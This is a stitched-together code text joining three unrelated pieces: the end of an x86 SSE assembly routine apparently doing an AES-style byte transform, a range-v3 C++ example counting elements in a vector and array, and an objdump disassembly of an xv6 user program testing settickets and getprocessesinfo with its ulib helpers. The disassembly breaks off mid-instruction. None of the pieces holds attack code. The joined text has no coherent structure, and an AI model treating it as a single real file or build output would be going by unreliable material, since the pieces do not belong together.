%xmm0 pshufb %xmm5, %xmm0 movdqa %xmm3, %xmm5 pcmpgtb %xmm7, %xmm3 psubb %xmm3, %xmm5 movdqa ((GF16_expTbl-ENCODE_DATA))(%eax), %xmm1 pshufb %xmm5, %xmm1 movdqa ((FwdAffineLO-ENCODE_DATA))(%eax), %xmm3 movdqa ((FwdAffineHI-ENCODE_DATA))(%eax), %xmm2 movdqa ((FwdAffineCnt-ENCODE_DATA))(%eax), %xmm4 pshufb %xmm0, %xmm3 pshufb %xmm1, %xmm2 pxor %xmm4, %xmm3 pxor %xmm2, %xmm3 pshufb ((FwdShiftRows-ENCODE_DATA))(%eax), %xmm3 pxor (%edx), %xmm3 add $(16), %edx movdqa ((TransInvLO-ENCODE_DATA))(%eax), %xmm0 movdqa ((TransInvHI-ENCODE_DATA))(%eax), %xmm2 movdqa %xmm3, %xmm1 psrlw $(4), %xmm3 pand %xmm7, %xmm1 pand %xmm7, %xmm3 pshufb %xmm1, %xmm0 pshufb %xmm3, %xmm2 pxor %xmm2, %xmm0 movdqu %xmm0, (%edi) pop %edi pop %esi pop %ebp ret
// Range v3 library // // Copyright Jeff Garland 2017 // // Use, modification and distribution is subject to the // Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // Project home: https://github.com/ericniebler/range-v3 // ///[count] // This example demonstrates counting the number of // elements that match a given value. // output... // vector: 2 // array: 2 #include <iostream> #include <range/v3/algorithm/count.hpp> // specific includes #include <vector> using std::cout; int main() { std::vector<int> v{6, 2, 3, 4, 5, 6}; // note the count return is a numeric type // like int or long -- auto below make sure // it matches the implementation auto c = ranges::count(v, 6); cout << "vector: " << c << '\n'; std::array<int, 6> a{6, 2, 3, 4, 5, 6}; c = ranges::count(a, 6); cout << "array: " << c << '\n'; } ///[count]
_testcount: file format elf32-i386 Disassembly of section .text: 00000000 <lcg_parkmiller>: static unsigned random_seed = 1; //#define RANDOM_MAX ((1u << 31u) - 1u) #define RANDOM_MAX 100000 unsigned lcg_parkmiller(unsigned *state) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 53 push %ebx 4: 8b 4d 08 mov 0x8(%ebp),%ecx Therefore: rem*G - div*(N%G) === state*G (mod N) Add N if necessary so that the result is between 1 and N-1. */ unsigned div = *state / (N / G); /* max : 2,147,483,646 / 44,488 = 48,271 */ 7: 8b 19 mov (%ecx),%ebx 9: ba 91 13 8f bc mov $0xbc8f1391,%edx e: 89 d8 mov %ebx,%eax 10: f7 e2 mul %edx 12: c1 ea 0f shr $0xf,%edx unsigned rem = *state % (N / G); /* max : 2,147,483,646 % 44,488 = 44,487 */ 15: 69 c2 c8 ad 00 00 imul $0xadc8,%edx,%eax 1b: 29 c3 sub %eax,%ebx unsigned a = rem * G; /* max : 44,487 * 48,271 = 2,147,431,977 */ 1d: 69 c3 8f bc 00 00 imul $0xbc8f,%ebx,%eax unsigned b = div * (N % G); /* max : 48,271 * 3,399 = 164,073,129 */ 23: 69 d2 47 0d 00 00 imul $0xd47,%edx,%edx return *state = (a > b) ? (a - b) : (a + (N - b)) ; 29: 39 d0 cmp %edx,%eax 2b: 77 0c ja 39 <lcg_parkmiller+0x39> 2d: 29 d0 sub %edx,%eax 2f: 05 ff ff ff 7f add $0x7fffffff,%eax 34: 89 01 mov %eax,(%ecx) } 36: 5b pop %ebx 37: 5d pop %ebp 38: c3 ret return *state = (a > b) ? (a - b) : (a + (N - b)) ; 39: 29 d0 sub %edx,%eax 3b: eb f7 jmp 34 <lcg_parkmiller+0x34> 0000003d <next_random>: unsigned next_random() { 3d: 55 push %ebp 3e: 89 e5 mov %esp,%ebp return lcg_parkmiller(&random_seed) % RANDOM_MAX; 40: 68 ac 09 00 00 push $0x9ac 45: e8 b6 ff ff ff call 0 <lcg_parkmiller> 4a: 89 c1 mov %eax,%ecx 4c: c1 e8 05 shr $0x5,%eax 4f: ba c5 5a 7c 0a mov $0xa7c5ac5,%edx 54: f7 e2 mul %edx 56: 89 d0 mov %edx,%eax 58: c1 e8 07 shr $0x7,%eax 5b: 69 c0 a0 86 01 00 imul $0x186a0,%eax,%eax 61: 29 c1 sub %eax,%ecx 63: 89 c8 mov %ecx,%eax } 65: c9 leave 66: c3 ret 00000067 <main>: #include "user.h" #include "random_num.c" int main(int argc, char *argv[]) { 67: 8d 4c 24 04 lea 0x4(%esp),%ecx 6b: 83 e4 f0 and $0xfffffff0,%esp 6e: ff 71 fc pushl -0x4(%ecx) 71: 55 push %ebp 72: 89 e5 mov %esp,%ebp 74: 53 push %ebx 75: 51 push %ecx 76: 81 ec 18 03 00 00 sub $0x318,%esp //test setwritecount works printf(1,"Testing Num times process run \n"); 7c: 68 88 06 00 00 push $0x688 81: 6a 01 push $0x1 83: e8 46 03 00 00 call 3ce <printf> // printf(1,"this is a test \n"); // printf(1, "%d\n", writecount() ); struct processes_info myInfo; struct processes_info *myProcess = &myInfo; getprocessesinfo(myProcess); 88: 8d 9d f4 fc ff ff lea -0x30c(%ebp),%ebx 8e: 89 1c 24 mov %ebx,(%esp) 91: e8 96 02 00 00 call 32c <getprocessesinfo> settickets(69); 96: c7 04 24 45 00 00 00 movl $0x45,(%esp) 9d: e8 82 02 00 00 call 324 <settickets> getprocessesinfo(myProcess); a2: 89 1c 24 mov %ebx,(%esp) a5: e8 82 02 00 00 call 32c <getprocessesinfo> for(int i = 0; i < 10; i++){ aa: 83 c4 10 add $0x10,%esp ad: bb 00 00 00 00 mov $0x0,%ebx b2: eb 19 jmp cd <main+0x66> unsigned myRandom = next_random(); b4: e8 84 ff ff ff call 3d <next_random> //myRandom = 113; printf(1, "Random number %d is %d \n", i , (int) myRandom); b9: 50 push %eax ba: 53 push %ebx bb: 68 a8 06 00 00 push $0x6a8 c0: 6a 01 push $0x1 c2: e8 07 03 00 00 call 3ce <printf> for(int i = 0; i < 10; i++){ c7: 83 c3 01 add $0x1,%ebx ca: 83 c4 10 add $0x10,%esp cd: 83 fb 09 cmp $0x9,%ebx d0: 7e e2 jle b4 <main+0x4d> } exit(); d2: e8 8d 01 00 00 call 264 <exit> 000000d7 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { d7: 55 push %ebp d8: 89 e5 mov %esp,%ebp da: 53 push %ebx db: 8b 45 08 mov 0x8(%ebp),%eax de: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) e1: 89 c2 mov %eax,%edx e3: 0f b6 19 movzbl (%ecx),%ebx e6: 88 1a mov %bl,(%edx) e8: 8d 52 01 lea 0x1(%edx),%edx eb: 8d 49 01 lea 0x1(%ecx),%ecx ee: 84 db test %bl,%bl f0: 75 f1 jne e3 <strcpy+0xc> ; return os; } f2: 5b pop %ebx f3: 5d pop %ebp f4: c3 ret 000000f5 <strcmp>: int strcmp(const char *p, const char *q) { f5: 55 push %ebp f6: 89 e5 mov %esp,%ebp f8: 8b 4d 08 mov 0x8(%ebp),%ecx fb: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) fe: eb 06 jmp 106 <strcmp+0x11> p++, q++; 100: 83 c1 01 add $0x1,%ecx 103: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 106: 0f b6 01 movzbl (%ecx),%eax 109: 84 c0 test %al,%al 10b: 74 04 je 111 <strcmp+0x1c> 10d: 3a 02 cmp (%edx),%al 10f: 74 ef je 100 <strcmp+0xb> return (uchar)*p - (uchar)*q; 111: 0f b6 c0 movzbl %al,%eax 114: 0f b6 12 movzbl (%edx),%edx 117: 29 d0 sub %edx,%eax } 119: 5d pop %ebp 11a: c3 ret 0000011b <strlen>: uint strlen(const char *s) { 11b: 55 push %ebp 11c: 89 e5 mov %esp,%ebp 11e: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 121: ba 00 00 00 00 mov $0x0,%edx 126: eb 03 jmp 12b <strlen+0x10> 128: 83 c2 01 add $0x1,%edx 12b: 89 d0 mov %edx,%eax 12d: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 131: 75 f5 jne 128 <strlen+0xd> ; return n; } 133: 5d pop %ebp 134: c3 ret 00000135 <memset>: void* memset(void *dst, int c, uint n) { 135: 55 push %ebp 136: 89 e5 mov %esp,%ebp 138: 57 push %edi 139: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 13c: 89 d7 mov %edx,%edi 13e: 8b 4d 10 mov 0x10(%ebp),%ecx 141: 8b 45 0c mov 0xc(%ebp),%eax 144: fc cld 145: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 147: 89 d0 mov %edx,%eax 149: 5f pop %edi 14a: 5d pop %ebp 14b: c3 ret 0000014c <strchr>: char* strchr(const char *s, char c) { 14c: 55 push %ebp 14d: 89 e5 mov %esp,%ebp 14f: 8b 45 08 mov 0x8(%ebp),%eax 152: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 156: 0f b6 10 movzbl (%eax),%edx 159: 84 d2 test %dl,%dl 15b: 74 09 je 166 <strchr+0x1a> if(*s == c) 15d: 38 ca cmp %cl,%dl 15f: 74 0a je 16b <strchr+0x1f> for(; *s; s++) 161: 83 c0 01 add $0x1,%eax 164: eb f0 jmp 156 <strchr+0xa> return (char*)s; return 0; 166: b8 00 00 00 00 mov $0x0,%eax } 16b: 5d pop %ebp 16c: c3 ret 0000016d <gets>: char* gets(char *buf, int max) { 16d: 55 push %ebp 16e: 89 e5 mov %esp,%ebp 170: 57 push %edi 171: 56 push %esi 172: 53 push %ebx 173: 83 ec 1c sub $0x1c,%esp 176: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 179: bb 00 00 00 00 mov $0x0,%ebx 17e: 8d 73 01 lea 0x1(%ebx),%esi 181: 3b 75 0c cmp 0xc(%ebp),%esi 184: 7d 2e jge 1b4 <gets+0x47> cc = read(0, &c, 1); 186: 83 ec 04 sub $0x4,%esp 189: 6a 01 push $0x1 18b: 8d 45 e7 lea -0x19(%ebp),%eax 18e: 50 push %eax 18f: 6a 00 push $0x0 191: e8 e6 00 00 00 call 27c <read> if(cc < 1) 196: 83 c4 10 add $0x10,%esp 199: 85 c0 test %eax,%eax 19b: 7e 17 jle 1b4 <gets+0x47> break; buf[i++] = c; 19d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 1a1: 88 04 1f mov %al,(%edi,%ebx,1) if(c == '\n' || c == '\r') 1a4: 3c 0a cmp $0xa,%al 1a6: 0f 94 c2 sete %dl 1a9: 3c 0d cmp $0xd,%al 1ab: 0f 94 c0 sete %al buf[i++] = c; 1ae: 89 f3 mov %esi,%ebx if(c == '\n' || c == '\r') 1b0: 08 c2 or %al,%dl 1b2: 74 ca je 17e <gets+0x11> break; } buf[i] = '\0'; 1b4: c6 04 1f 00 movb $0x0,(%edi,%ebx,1) return buf; } 1b8: 89 f8 mov %edi,%eax 1ba: 8d 65 f4 lea -0xc(%ebp),%esp 1bd: 5b pop %ebx 1be: 5e pop %esi 1bf: 5f pop %edi 1c0: 5d pop %ebp 1c1: c3 ret 000001c2 <stat>: int stat(const char *n, struct stat *st) { 1c2: 55 push %ebp 1c3: 89 e5 mov %esp,%ebp 1c5: 56 push %esi 1c6: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1c7: 83 ec 08 sub $0x8,%esp 1ca: 6a 00 push $0x0 1cc: ff 75 08 pushl 0x8(%ebp) 1cf: e8 d0 00 00 00 call 2a4 <open> if(fd < 0) 1d4: 83 c4 10 add $0x10,%esp 1d7: 85 c0 test %eax,%eax 1d9: 78 24 js 1ff <stat+0x3d> 1db: 89 c3 mov %eax,%ebx return -1; r = fstat(fd, st); 1dd: 83 ec 08 sub $0x8,%esp 1e0: ff 75 0c pushl 0xc(%ebp) 1e3: 50 push %eax 1e4: e8 d3 00 00 00 call 2bc <fstat> 1e9: 89 c6 mov %eax,%esi close(fd); 1eb: 89 1c 24 mov %ebx,(%esp) 1ee: e8 99 00 00 00 call 28c <close> return r; 1f3: 83 c4 10 add $0x10,%esp } 1f6: 89 f0 mov %esi,%eax 1f8: 8d 65 f8 lea -0x8(%ebp),%esp 1fb: 5b pop %ebx 1fc: 5e pop %esi 1fd: 5d pop %ebp 1fe: c3 ret return -1; 1ff: be ff ff ff ff mov $0xffffffff,%esi 204: eb f0 jmp 1f6 <stat+0x34> 00000206 <atoi>: int atoi(const char *s) { 206: 55 push %ebp 207: 89 e5 mov %esp,%ebp 209: 53 push %ebx 20a: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; 20d: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 212: eb 10 jmp 224 <atoi+0x1e> n = n*10 + *s++ - '0'; 214: 8d 1c 80 lea (%eax,%eax,4),%ebx 217: 8d 04 1b lea (%ebx,%ebx,1),%eax 21a: 83 c1 01 add $0x1,%ecx 21d: 0f be d2 movsbl %dl,%edx 220: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax while('0' <= *s && *s <= '9') 224: 0f b6 11 movzbl (%ecx),%edx 227: 8d 5a d0 lea -0x30(%edx),%ebx 22a: 80 fb 09 cmp $0x9,%bl 22d: 76 e5 jbe 214 <atoi+0xe> return n; } 22f: 5b pop %ebx 230: 5d pop %ebp 231: c3 ret 00000232 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 232: 55 push %ebp 233: 89 e5 mov %esp,%ebp 235: 56 push %esi 236: 53 push %ebx 237: 8b 45 08 mov 0x8(%ebp),%eax 23a: 8b 5d 0c mov 0xc(%ebp),%ebx 23d: 8b 55 10 mov 0x10(%ebp),%edx char *dst; const char *src; dst = vdst; 240: 89 c1 mov %eax,%ecx src = vsrc; while(n-- > 0) 242: eb 0d jmp 251 <memmove+0x1f> *dst++ = *src++; 244: 0f b6 13 movzbl (%ebx),%edx 247: 88 11 mov %dl,(%ecx) 249: 8d 5b 01 lea 0x1(%ebx),%ebx 24c: 8d 49 01 lea 0x1(%ecx),%ecx while(n-- > 0) 24f: 89 f2 mov %esi,%edx 251: 8d 72 ff lea -0x1(%edx),%esi 254: 85 d2 test %edx,%edx 256: 7f ec jg 244 <memmove+0x12> return vdst; } 258: 5b pop %ebx 259: 5e pop %esi 25a: 5d pop %ebp 25b: c3 ret 0000025c <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 25c: b8 01 00 00 00 mov $0x1,%eax 261: cd 40 int $0x40 263: c3 ret 00000264 <exit>: SYSCALL(exit) 264: b8 02 00 00 00 mov $0x2,%eax 269: cd 40 int $0x40 26b: c3 ret 0000026c <wait>: SYSCALL(wait) 26c: b8 03 00 00 00 mov $0x3,%eax 271: cd 40 int $0x40 273: c3 ret 00000274 <pipe>: SYSCALL(pipe) 274: b8 04 00 00 00 mov $0x4,%eax 279: cd 40 int $0x40 27b: c3 ret 0000027c <read>: SYSCALL(read) 27c: b8 05 00 00 00 mov $0x5,%eax 281: cd 40 int $0x40 283: c3 ret 00000284 <write>: SYSCALL(write) 284: b8 10 00 00 00 mov $0x10,%eax 289: cd 40 int $0x40 28b: c3 ret 0000028c <close>: SYSCALL(close) 28c: b8 15 00 00 00 mov $0x15,%eax 291: cd 40 int $0x40 293: c3 ret 00000294 <kill>: SYSCALL(kill) 294: b8 06 00 00 00 mov $0x6,%eax 299: cd 40 int $0x40 29b: c3 ret 0000029c <exec>: SYSCALL(exec) 29c: b8 07 00 00 00 mov $0x7,%eax 2a1: cd 40 int $0x40 2a3: c3 ret 000002a4 <open>: SYSCALL(open) 2a4: b8 0f 00 00 00 mov $0xf,%eax 2a9: cd 40 int $0x40 2ab: c3 ret 000002ac <mknod>: SYSCALL(mknod) 2ac: b8 11 00 00 00 mov $0x11,%eax 2b1: cd 40 int $0x40 2b3: c3 ret 000002b4 <unlink>: SYSCALL(unlink) 2b4: b8 12 00 00 00 mov $0x12,%eax 2b9: cd 40 int $0x40 2bb: c3 ret 000002bc <fstat>: SYSCALL(fstat) 2bc: b8 08 00 00 00 mov $0x8,%eax 2c1: cd 40 int $0x40 2c3: c3 ret 000002c4 <link>: SYSCALL(link) 2c4: b8 13 00 00 00 mov $0x13,%eax 2c9: cd 40 int $0x40 2cb: c3 ret 000002cc <mkdir>: SYSCALL(mkdir) 2cc: b8 14 00 00 00 mov $0x14,%eax 2d1: cd 40 int $0x40 2d3: c3 ret 000002d4 <chdir>: SYSCALL(chdir) 2d4: b8 09 00 00 00 mov $0x9,%eax 2d9: cd 40 int $0x40 2db: c3 ret 000002dc <dup>: SYSCALL(dup) 2dc: b8 0a 00 00 00 mov $0xa,%eax 2e1: cd 40 int $0x40 2e3: c3 ret 000002e4 <getpid>: SYSCALL(getpid) 2e4: b8 0b 00 00 00 mov $0xb,%eax 2e9: cd 40 int $0x40 2eb: c3 ret 000002ec <sbrk>: SYSCALL(sbrk) 2ec: b8 0c 00 00 00 mov $0xc,%eax 2f1: cd 40 int $0x40 2f3: c3 ret 000002f4 <sleep>: SYSCALL(sleep) 2f4: b8 0d 00 00 00 mov $0xd,%eax 2f9: cd 40 int $0x40 2fb: c3 ret 000002fc <uptime>: SYSCALL(uptime) 2fc: b8 0e 00 00 00 mov $0xe,%eax 301: cd 40 int $0x40 303: c3 ret 00000304 <yield>: SYSCALL(yield) 304: b8 16 00 00 00 mov $0x16,%eax 309: cd 40 int $0x40 30b: c3 ret 0000030c <shutdown>: SYSCALL(shutdown) 30c: b8 17 00 00 00 mov $0x17,%eax 311: cd 40 int $0x40 313: c3 ret 00000314 <writecount>: SYSCALL(writecount) 314: b8 18 00 00 00 mov $0x18,%eax 319: cd 40 int $0x40 31b: c3 ret 0000031c <setwritecount>: SYSCALL(setwritecount) 31c: b8 19 00 00 00 mov $0x19,%eax 321: cd 40 int $0x40 323: c3 ret 00000324 <settickets>: SYSCALL(settickets) 324: b8 1a 00 00 00 mov $0x1a,%eax 329: cd 40 int $0x40 32b: c3 ret 0000032c <getprocessesinfo>: 32c: b8 1b 00 00 00 mov $0x1b,%eax 331: cd 40 int $0x40 333: c3 ret 00000334 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 334: 55 push %ebp 335: 89 e5 mov %esp,%ebp 337: 83 ec 1c sub $0x1c,%esp 33a: 88 55 f4 mov %dl,-0xc(%ebp) write(fd, &c, 1); 33d: 6a 01 push $0x1 33f: 8d 55 f4 lea -0xc(%ebp),%edx 342: 52 push %edx 343: 50 push %eax 344: e8 3b ff ff ff call 284 <write> } 349: 83 c4 10 add $0x10,%esp 34c: c9 leave 34d: c3 ret 0000034e <printint>: static void printint(int fd, int xx, int base, int sgn) { 34e: 55 push %ebp 34f: 89 e5 mov %esp,%ebp 351: 57 push %edi 352: 56 push %esi 353: 53 push %ebx 354: 83 ec 2c sub $0x2c,%esp 357: 89 c7 mov %eax,%edi char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 359: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 35d: 0f 95 c3 setne %bl 360: 89 d0 mov %edx,%eax 362: c1 e8 1f shr $0x1f,%eax 365: 84 c3 test %al,%bl 367: 74 10 je 379 <printint+0x2b> neg = 1; x = -xx; 369: f7 da neg %edx neg = 1; 36b: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp) } else { x = xx; } i = 0; 372: be 00 00 00 00 mov $0x0,%esi 377: eb 0b jmp 384 <printint+0x36> neg = 0; 379: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) 380: eb f0 jmp 372 <printint+0x24> do{ buf[i++] = digits[x % base]; 382: 89 c6 mov %eax,%esi 384: 89 d0 mov %edx,%eax 386: ba 00 00 00 00 mov $0x0,%edx 38b: f7 f1 div %ecx 38d: 89 c3 mov %eax,%ebx 38f: 8d 46 01 lea 0x1(%esi),%eax 392: 0f b6 92 c8 06 00 00 movzbl 0x6c8(%edx),%edx 399: 88 54 35 d8 mov %dl,-0x28(%ebp,%esi,1) }while((x /= base) != 0); 39d: 89 da mov %ebx,%edx 39f: 85 db test %ebx,%ebx 3a1: 75 df jne 382 <printint+0x34> 3a3: 89 c3 mov %eax,%ebx if(neg) 3a5: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 3a9: 74 16 je 3c1 <printint+0x73> buf[i++] = '-'; 3ab: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) 3b0: 8d 5e 02 lea 0x2(%esi),%ebx 3b3: eb 0c jmp 3c1 <printint+0x73> while(--i >= 0) putc(fd, buf[i]); 3b5: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx 3ba: 89 f8 mov %edi,%eax 3bc: e8 73 ff ff ff call 334 <putc> while(--i >= 0) 3c1: 83 eb 01 sub $0x1,%ebx 3c4: 79 ef jns 3b5 <printint+0x67> } 3c6: 83 c4 2c add $0x2c,%esp 3c9: 5b pop %ebx 3ca: 5e pop %esi 3cb: 5f pop %edi 3cc: 5d pop %ebp 3cd: c3 ret 000003ce <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 3ce: 55 push %ebp 3cf: 89 e5 mov %esp,%ebp 3d1: 57 push %edi 3d2: 56 push %esi 3d3: 53 push %ebx 3d4: 83 ec 1c sub $0x1c,%esp char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 3d7: 8d 45 10 lea 0x10(%ebp),%eax 3da: 89 45 e4 mov %eax,-0x1c(%ebp) state = 0; 3dd: be 00 00 00 00 mov $0x0,%esi for(i = 0; fmt[i]; i++){ 3e2: bb 00 00 00 00 mov $0x0,%ebx 3e7: eb 14 jmp 3fd <printf+0x2f> c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 3e9: 89 fa mov %edi,%edx 3eb: 8b 45 08 mov 0x8(%ebp),%eax 3ee: e8 41 ff ff ff call 334 <putc> 3f3: eb 05 jmp 3fa <printf+0x2c> } } else if(state == '%'){ 3f5: 83 fe 25 cmp $0x25,%esi 3f8: 74 25 je 41f <printf+0x51> for(i = 0; fmt[i]; i++){ 3fa: 83 c3 01 add $0x1,%ebx 3fd: 8b 45 0c mov 0xc(%ebp),%eax 400: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax 404: 84 c0 test %al,%al 406: 0f 84 23 01 00 00 je 52f <printf+0x161> c = fmt[i] & 0xff; 40c: 0f be f8 movsbl %al,%edi 40f: 0f b6 c0 movzbl %al,%eax if(state == 0){ 412: 85 f6 test %esi,%esi 414: 75 df jne 3f5 <printf+0x27> if(c == '%'){ 416: 83 f8 25 cmp $0x25,%eax 419: 75 ce jne 3e9 <printf+0x1b> state = '%'; 41b: 89 c6 mov %eax,%esi 41d: eb db jmp 3fa <printf+0x2c> if(c == 'd'){ 41f: 83 f8 64 cmp $0x64,%eax 422: 74 49 je 46d <printf+0x9f> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 424: 83 f8 78 cmp $0x78,%eax 427: 0f 94 c1 sete %cl 42a: 83 f8 70 cmp $0x70,%eax 42d: 0f 94 c2 sete %dl 430: 08 d1 or %dl,%cl 432: 75 63 jne 497 <printf+0xc9> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 434: 83 f8 73 cmp $0x73,%eax 437: 0f 84 84 00 00 00 je 4c1 <printf+0xf3> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 43d: 83 f8 63 cmp $0x63,%eax 440: 0f 84 b7 00 00 00 je 4fd <printf+0x12f> putc(fd, *ap); ap++; } else if(c == '%'){ 446: 83 f8 25 cmp $0x25,%eax 449: 0f 84 cc 00 00 00 je 51b <printf+0x14d> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 44f: ba 25 00 00 00 mov $0x25,%edx 454: 8b 45 08 mov 0x8(%ebp),%eax 457: e8 d8 fe ff ff call 334 <putc> putc(fd, c); 45c: 89 fa mov %edi,%edx 45e: 8b 45 08 mov 0x8(%ebp),%eax 461: e8 ce fe ff ff call 334 <putc> } state = 0; 466: be 00 00 00 00 mov $0x0,%esi 46b: eb 8d jmp 3fa <printf+0x2c> printint(fd, *ap, 10, 1); 46d: 8b 7d e4 mov -0x1c(%ebp),%edi 470: 8b 17 mov (%edi),%edx 472: 83 ec 0c sub $0xc,%esp 475: 6a 01 push $0x1 477: b9 0a 00 00 00 mov $0xa,%ecx 47c: 8b 45 08 mov 0x8(%ebp),%eax 47f: e8 ca fe ff ff call 34e <printint> ap++; 484: 83 c7 04 add $0x4,%edi 487: 89 7d e4 mov %edi,-0x1c(%ebp) 48a: 83 c4 10 add $0x10,%esp state = 0; 48d: be 00 00 00 00 mov $0x0,%esi 492: e9 63 ff ff ff jmp 3fa <printf+0x2c> printint(fd, *ap, 16, 0); 497: 8b 7d e4 mov -0x1c(%ebp),%edi 49a: 8b 17 mov (%edi),%edx 49c: 83 ec 0c sub $0xc,%esp 49f: 6a 00 push $0x0 4a1: b9 10 00 00 00 mov $0x10,%ecx 4a6: 8b 45 08 mov 0x8(%ebp),%eax 4a9: e8 a0 fe ff ff call 34e <printint> ap++; 4ae: 83 c7 04 add $0x4,%edi 4b1: 89 7d e4 mov %edi,-0x1c(%ebp) 4b4: 83 c4 10 add $0x10,%esp state = 0; 4b7: be 00 00 00 00 mov $0x0,%esi 4bc: e9 39 ff ff ff jmp 3fa <printf+0x2c> s = (char*)*ap; 4c1: 8b 45 e4 mov -0x1c(%ebp),%eax 4c4: 8b 30 mov (%eax),%esi ap++; 4c6: 83 c0 04 add $0x4,%eax 4c9: 89 45 e4 mov %eax,-0x1c(%ebp) if(s == 0) 4cc: 85 f6 test %esi,%esi 4ce: 75 28 jne 4f8 <printf+0x12a> s = "(null)"; 4d0: be c1 06 00 00 mov $0x6c1,%esi 4d5: 8b 7d 08 mov 0x8(%ebp),%edi 4d8: eb 0d jmp 4e7 <printf+0x119> putc(fd, *s); 4da: 0f be d2 movsbl %dl,%edx 4dd: 89 f8 mov %edi,%eax 4df: e8 50 fe ff ff call 334 <putc> s++; 4e4: 83 c6 01 add $0x1,%esi while(*s != 0){ 4e7: 0f b6 16 movzbl (%esi),%edx 4ea: 84 d2 test %dl,%dl 4ec: 75 ec jne 4da <printf+0x10c> state = 0; 4ee: be 00 00 00 00 mov $0x0,%esi 4f3: e9 02 ff ff ff jmp 3fa <printf+0x2c> 4f8: 8b 7d 08 mov 0x8(%ebp),%edi 4fb: eb ea jmp 4e7 <printf+0x119> putc(fd, *ap); 4fd: 8b 7d e4 mov -0x1c(%ebp),%edi 500: 0f be 17 movsbl (%edi),%edx 503: 8b 45 08 mov 0x8(%ebp),%eax 506: e8 29 fe ff ff call 334 <putc> ap++; 50b: 83 c7 04 add $0x4,%edi 50e: 89 7d e4 mov %edi,-0x1c(%ebp) state = 0; 511: be 00 00 00 00 mov $0x0,%esi 516: e9 df fe ff ff jmp 3fa <printf+0x2c> putc(fd, c); 51b: 89 fa mov %edi,%edx 51d: 8b 45 08 mov 0x8(%ebp),%eax 520: e8 0f fe ff ff call 334 <putc> state = 0; 525: be 00 00 00 00 mov $0x0,%esi 52a: e9 cb fe ff ff jmp 3fa <printf+0x2c> } } } 52f: 8d 65 f4 lea -0xc(%ebp),%esp 532: 5b pop %ebx 533: 5e pop %esi 534: 5f pop %edi 535: 5d pop %ebp 536: c3 ret 00000537 <free>: static Header base; static Header *freep; void free(void *ap) { 537: 55 push %ebp 538: 89 e5 mov %esp,%ebp 53a: 57 push %edi 53b: 56 push %esi 53c: 53 push %ebx 53d: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 540: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 543: a1 b0 09 00 00 mov 0x9b0,%eax 548: eb 02 jmp 54c <free+0x15> 54a: 89 d0 mov %edx,%eax 54c: 39 c8 cmp %ecx,%eax 54e: 73 04 jae 554 <free+0x1d> 550: 39 08 cmp %ecx,(%eax) 552: 77 12 ja 566 <free+0x2f> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 554: 8b 10 mov (%eax),%edx 556: 39 c2 cmp %eax,%edx 558: 77 f0 ja 54a <free+0x13> 55a: 39 c8 cmp %ecx,%eax 55c: 72 08 jb 566 <free+0x2f> 55e: 39 ca cmp %ecx,%edx 560: 77 04 ja 566 <free+0x2f> 562: 89 d0 mov %edx,%eax 564: eb e6 jmp 54c <free+0x15> break; if(bp + bp->s.size == p->s.ptr){ 566: 8b 73 fc mov -0x4(%ebx),%esi 569: 8d 3c f1 lea (%ecx,%esi,8),%edi 56c: 8b 10 mov (%eax),%edx 56e: 39 d7 cmp %edx,%edi 570: 74 19 je 58b <free+0x54> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 572: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 575: 8b 50 04 mov 0x4(%eax),%edx 578: 8d 34 d0 lea (%eax,%edx,8),%esi 57b: 39 ce cmp %ecx,%esi 57d: 74 1b je 59a <free+0x63> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 57f: 89 08 mov %ecx,(%eax) freep = p; 581: a3 b0 09 00 00 mov %eax,0x9b0 } 586: 5b pop %ebx 587: 5e pop %esi 588: 5f pop %edi 589: 5d pop %ebp 58a: c3 ret bp->s.size += p->s.ptr->s.size; 58b: 03 72 04 add 0x4(%edx),%esi 58e: 